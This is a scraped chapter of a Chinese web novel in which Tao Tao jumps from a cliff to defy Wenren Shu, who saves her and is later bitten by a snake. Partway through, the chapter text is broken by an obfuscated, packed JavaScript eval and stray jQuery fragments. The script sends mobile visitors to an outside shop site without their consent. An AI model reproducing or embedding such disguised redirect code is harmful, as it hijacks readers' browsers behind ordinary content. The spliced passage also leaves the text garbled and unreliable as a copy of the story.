文趣网 > 其他小说 > 她给男主写的BE剧本 > 14. 第 14 章
    听到陆追没事,陶桃松了口气。

    “现在,你可以说遗言了。”闻人恕道。

    “我心肠歹毒、攻于算计?”陶桃不止一次听到旁人这样描述自己,虽是基于原身的一些行为,到底还是打心底里不舒服。

    他们个个站在道德制高点,难道就白玉无瑕?

    “那徐梦慈呢?她不同样使了点手段,支开了你,只因她是你师姐,你就包庇她。”

    那日若不是刚好被青君撞见,她的冤屈又向谁说去。

    “那是你苏家欠她的。”闻人恕道。

    “贺莲衣也欠了她吗?”

    这话叫闻人恕喉中一噎。

    旁人不知道,他和徐梦慈都清楚,陶桃是贺莲衣的药,陶桃出了事,贺莲衣是万万活不成的。

    徐梦慈心中的仇恨压过了一切,杀陶桃,那是连贺莲衣的活路都不打算留了。

    这次贺兰辞会罚得这么重,其中也有这一层关键,牵扯到姐姐的性命,他断然不能容情。

    闻人恕何尝不清楚这一点。

    正如陶桃所言,他是在包庇徐梦慈,心甘情愿被徐梦慈算计了。

    但是,有一点他怎么都想不通。

    “说,你是怎么知道师姐她……她……”闻人恕攥住陶桃手腕,目中透出腾腾杀气。

    对自己的师父动心,是极不光彩的一件事。

    徐梦慈把秘密掩饰得极好,山庄内几乎无人知晓,他也是在无意间窥见那满墙的画,才读出她的心事。

    他没有声张,当做什么事都没有发生过,让这个秘密安安静静地尘封进了时光里。

    这个女人是兰幽山庄的囚徒,大部分时间都被关押在寒院,从未接近过晓梦阁,她又是怎么发现的?

    陶桃被他提起,半边身子悬空,几乎要滑落下去。

    她害怕地撇开眼,不去看脚下的深渊:“你没听过一句话吗?若要人不知,除非己莫为!”

    “那好,今日我也要教你一句话,既行其事,当承其咎。”

    “你这是要替她出头?”

    陶桃不畏不惧朝他看来,黑白分明的一双眼映着月色,格外清澈。

    “你既要替她出头,为何不去找贺兰辞?”

    “将她逐出山庄的是贺兰辞,是贺兰辞容不下自己的徒弟亵渎自己,是贺兰辞在姐姐和徒弟之间,选择了姐姐,你却只敢对我这个弱者下手。”

    “闻人恕,你不是男人!”

    “你说谁不是男人!”血气方刚的年纪,最是容不得别人怀疑自己不是男人,闻人恕立即动了怒。

    “你要是个男人,现在就丢我下去。”陶桃冲他挑衅一笑,那笑容竟有些摄人心魄。

    闻人恕见过她哭,见过她愤怒,也见过她面无表情、心灰意冷,还是第一次见到她笑。

    她目光极亮,眼底像是盛着一簇火,脸颊红扑扑的,晕开一抹艳色,叫人联想到三月枝头的桃花。

    不得不承认,她笑得美极了。

    “怎么,不敢么?”陶桃还在笑。

    闻人恕垂在身侧的手指不自觉地收紧了一下。

    陶桃在赌他不敢。

    她的命系着贺莲衣的命,哪怕对她恨之入骨,贺兰辞都要留着她,不敢让她轻易奔赴了黄泉。

    而闻人恕与她并无深仇大恨,他是少年心性,要为师姐出头,从来都不是要陶桃死。

    他是在恐吓陶桃,折磨陶桃,他要陶桃大哭大叫,瑟瑟发抖,屁滚尿流,颜面尽失。

    他要陶桃记住这一次的教训,记住悬在这万丈悬崖之间,随时可能粉身碎骨的恐惧。

    他要她把这种恐惧刻进骨头里,日后不敢再动一丝对徐梦慈不利的念头。

    他要这种恐惧如藏匿在心底的毒蛇,看到徐梦慈时,便会猝不及防啃咬她一口。

    “可是,我敢。”陶桃话音刚落,用力挣开闻人恕握住她的那只手,翻身坠入悬崖。

    她张开双臂,脸上仍旧带着挑衅的微笑,身影被大片的夜色吞没,裙摆如燃烧的火焰,在风中猎猎飘展,灼痛闻人恕的双目。

    闻人恕脑海中嗡然一响,只剩一片空白,想也不想,提起一口气,跟着跳了下去。

    陶桃猜对了。

    他与陶桃往日无冤,近日无仇,他做出凶神恶煞的模样,无非就是想要陶桃记住这次的教训。

    他从来没想过要陶桃的命。

    陶桃的命还关乎着贺莲衣的生死,他怎么会眼睁睁看着她在自己面前粉身碎骨。

    闻人恕坠至陶桃身边,长臂一伸,揽住陶桃的腰身,运转着周身的真气,尽量把陶桃护在怀里。

    疯丫头!

    他在心里咬牙切齿地骂着。

    急速下坠带来的失重感,令他眼前一阵阵发晕,崖下生长着大树,他抱着陶桃轰然砸在树冠上,缓冲了一下。

    巨大的撞击,几乎叫他五脏六腑都移了位,他的双臂始终紧紧扣着陶桃的腰身,用自己的身体当肉垫,滚到了地上。

    咔嚓一声,似乎是骨头断裂了,闻人恕眼前黑了黑,陷入短暂的昏迷。

    再有意识时,是被陶桃的动作弄醒的。

    陶桃挣扎着,推开他的双臂,爬了起来。

    坠落的过程中,有不少树枝和荆棘,闻人恕用真气护体,帮陶桃挡住了大半。

    毕竟是从那么高的地方掉下来的,陶桃裙角被撕裂,身上有不少擦伤,渗出来的血迹染红了衣裙,整个人灰头土脸的。

    闻人恕咳了一声,喉中泛着腥甜气息,他忍着浑身的不适,撑着手肘坐起。

    这个简单的动作叫他汗出如浆,面色狰狞。

    太痛了。

    全身的骨头好似被车轮碾了一遍,他痛得忍不住呕出一口血。

    陶桃回头看了他一眼,大概是没想到他会这么快醒过来,眼神里的惊惶一闪而过。

    接着,她提起裙摆,深一脚浅一脚地迈着步子,疯狂向前跑着。

    一个小瘸子,跑得竟这样快。

    闻人恕坐在地上,用指腹抹了下唇畔的血痕,冲她的背影阴狠地笑着:“你最好跑快点,别让我逮到,逮到我就打断你的另一条腿。”

    陶桃背影一僵,跑得更快了。

    她做梦都想从兰幽山庄逃出来,闻人恕半夜偷偷把她带出来,间接实现了她的心愿。

    她顾不得浑身的酸痛,抓住这千载难逢的机会,疯狂的逃命。

    天已蒙蒙亮,脚下的路朝着天光处延伸,枝头的鸟雀叽叽喳喳,争论不休。

    春日的早晨,空气里都是一股清寒的露水气息,草木香气极浓郁。

    陶桃的裙摆从草尖上扫过,沾染上一袭晶莹的水痕。

    她腿脚不便,还受了伤,再拼命的跑,也不及常人。

    闻人恕没多久便追了上来。

    他亦受了重伤,无法动用真气,捂着心口,拖着沉重的双腿,一瘸一拐在后面跟着。

    两人一前一后,始终隔着段距离。

    朝阳透过云层,洒下万丈金光,将草尖上的露珠蒸发干净,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17976968|214752||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不知名的野花在风中摇曳,蜜蜂飞过来,汲取着花蜜。

    陶桃额头覆着一层细密的汗珠,张着唇,剧烈喘着粗气,她已经没什么力气了,跑得越来越慢,到最后,几乎是拖着自己那条行动不便的左腿走。

    屋漏偏逢连夜雨,下坡时,脚下被枯藤绊了一下,整个人扑了出去,像个圆滚滚的糯米团子,滚了一圈又一圈,趴在地上爬不起来。

    闻人恕在身后哈哈大笑:“蠢货!”

    陶桃恼怒地瞪他一眼,也不跑了,原地坐下,大口大口喘着气,一副破罐子破摔的架势。

    他们你追我赶,跑了这么久,她实在跑不动了。

    她的心口泛着一抽一抽的疼,浑身都是汗,整个人几近虚脱。

    她宁愿被闻人恕抓回去,也不跑了。

    闻人恕其实也到了强弩之末,见陶桃坐下,他也靠着一棵树坐下,一条腿曲起,手搭在膝盖上,累得闭上了眼睛。

    晨风拂过枝头,吹走身上的热气,山花簌簌飘落,铺了满地。

    远山云遮雾绕,若隐若现,唯独一轮初升的红日,红得像一滴血。

    如果不是在逃命的路上,陶桃真想停下来,好好欣赏一下,这幅大自然挥笔泼墨的山水画。

    歇了有半刻钟,陶桃恢复了点力气,扶着树干站起。

    她回头看了眼闻人恕。

    闻人恕仍闭着眼,微微仰起的脸,覆上一层惨白的颜色,眉头紧紧锁着。

    陶桃抬步离开,忽听得他发出低低的一声闷哼,身子狠狠动弹了一下。

    一截黑白相间的蛇尾,擦过陶桃的眼角余光,一闪而过,没入草丛里。

    他被蛇咬了!

    这个念头冒出来后,陶桃心口一跳,表情犹疑不定,最终,扭过脑袋,决定继续往前走。

    少年自发出那声动静后再没了声响,哪怕陶桃离开,依旧靠坐在树下一动不动,仿佛一尊石塑,没有任何反应。

    陶桃心中默念着“不要多管闲事”,低着头,快步离开。

    念到第三遍时,她深深地叹了口气,似是下定了某种决心,停下脚步,回头看闻人恕,叫了声他的名字。

    “还活着就吱一声。”

    闻人恕似有所觉,掀了下眼皮。

    陶桃内心挣扎了一下,还是折返了回去,在闻人恕身边蹲下。

    她想,他骂得没错,她果然是蠢货,放着大好时机不抓住,蠢到自投罗网。

    闻人恕的小腿上多了一道渗着血的伤口。

    是蛇咬后留下的牙印。

    陶桃在书上见过这种蛇。

    书上说,这种蛇常在草丛里出没,身子一截黑一截白,脑袋是椭圆形的,和脖子一样粗,背部正中有一行明显放大的六边形脊鳞。

    被这种蛇咬中后,伤口不痛不痒,不红不肿,所以经常被误认为是无毒的蛇。但潜伏几个小时后,毒素会突然发作,致死率很高。

    这里地处荒野,鲜有人烟,此时丢下闻人恕,闻人恕必死无疑。

    陶桃盯着闻人恕的脸,眼神变幻着。

    这人不久前还折磨她、威胁她,他被蛇咬,是他活该。

    可是,从那么高的地方摔下来,的确是他护住了自己。

    陶桃是个心善的小姑娘,从小到大,没做过几件坏事。

    见死不救,违背她的本心,更何况,闻人恕还没有到罪该万死的地步,她在能救他一命的前提下,选择袖手旁观,余生都会良心不安的。

    她是为了自己的良心救人。